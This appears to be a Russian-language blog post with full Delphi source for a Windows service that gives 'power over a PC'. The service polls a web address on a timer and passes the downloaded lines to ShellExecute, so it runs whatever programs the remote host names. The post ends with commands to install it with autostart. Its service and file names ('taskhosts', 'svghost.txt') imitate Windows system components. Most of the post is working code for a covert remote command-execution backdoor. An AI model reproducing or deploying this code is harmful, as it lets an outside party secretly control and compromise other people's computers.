Хотите немного власти над ПК. Ниже представлен код небольшого сервиса, который устанавливается на управляемом компьютере и ждет сигнала с http (Можно заменить на ftp или сокеты, по вкусу).

Сначала запустим Delphi и создадим новый проект Other — Service Application.

На форму сервиса бросаем компонент таймер (Timer). Ставим ему интервал (Interval) секунд 10-20.

Далее в свойствах формы прописываем имя (Name) сервиса «taskhosts» (По этому имени потом будем его устанавливать и удалять из системы). Имя, которое будет отображаться в службах Windows прописывается в DisplayName. Тут можете писать что угодно, например «Удаленное управление»

Исходный код формы сервиса:

unit Unit1;
interface
uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
    httpsend, ExtCtrls, ShellAPI;
type
    Ttaskhosts = class(TService)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
private

{ Private declarations }
public
    function GetServiceController: TServiceController; override;

{ Public declarations }
end;

var
    taskhosts: Ttaskhosts;
    implementation
    {$R *.DFM}
//Получение времмеено папки пользователя
function GetTempDir(): string;
var
    Buffer: array[0..MAX_PATH] of Char;
begin
    GetTempPath(SizeOf(Buffer) - 1, Buffer);
    Result := StrPas(Buffer);
end;

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
    taskhosts.Controller(CtrlCode);
end;

function Ttaskhosts.GetServiceController: TServiceController;
begin
    Result := ServiceController;
end;

//Блок ожидание команды с HTTP
procedure Ttaskhosts.Timer1Timer(Sender: TObject);
var
    httpsend: THTTPSend;
    //Подключение HTTP (Компонента Synapse)
    userPath: string;
    //Путь к папке пользователя
    cmdLines: TStrings;
    //Скачанная команда
    checkLines: TStrings;
    //Проверочный файл
begin

    //Получаем временную папку пользователя
    userPath := GetTempDir();
    cmdLines := TStringList.Create;
    checkLines := TStringList.Create;

    //Читаем проверочный файл из папки пользователя
    if FileExists(userPath + '\svghost.txt')
    then checkLines.LoadFromFile(userPath + '\svghost.txt')
    else checkLines.Add('?');

    //Получаем командный файл
    httpsend := THTTPSend.Create;
    if httpsend.HTTPMethod('GET', 'mysite.com/data.txt') then
    begin

        //Если файл получен
        if (httpsend.ResultCode=200) then
        begin
            cmdLines.LoadFromStream( httpsend.Document);
            //Проверка первой строки команды и проверочного файла,
            //чтобы не повторять команду

            if cmdLines[0] <> checkLines[0] then
                begin

                    //Создаем проверочный файл и прописываем новый проверочный код
                    checkLines.Clear;
                    checkLines.Add(cmdLines[0]);
                    checkLines.SaveToFile(userPath + '\svghost.txt');

                    (*

                    Пытаемся выполнить команду

                    Формат файла команд

                    [0]-код команды (для проверки)

                    [1]-операция (open, edit,...)

                    [2]-файл

                    [3]-параметры

                    [4]-директория

                    *)
                    try
                        ShellExecute(0, PChar(cmdLines[1]), PChar(cmdLines[2]),
                        PChar(cmdLines[3]), PChar(cmdLines[4]), SW_SHOWNORMAL);
                    except

                    //В случае сбоя пожаловаться в проверочный файл
                    checkLines.Clear;
                    checkLines.Add('ERROR');
                    checkLines.SaveToFile(userPath + '\svghost.txt');
                    end;
                end;
            end;
        end;
    httpsend.Free;
    checkLines.Free;
    cmdLines.Free;
    end;
end.

Запуск сервиса

svghost /install /autostart
net start taskhosts

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Навигация по записям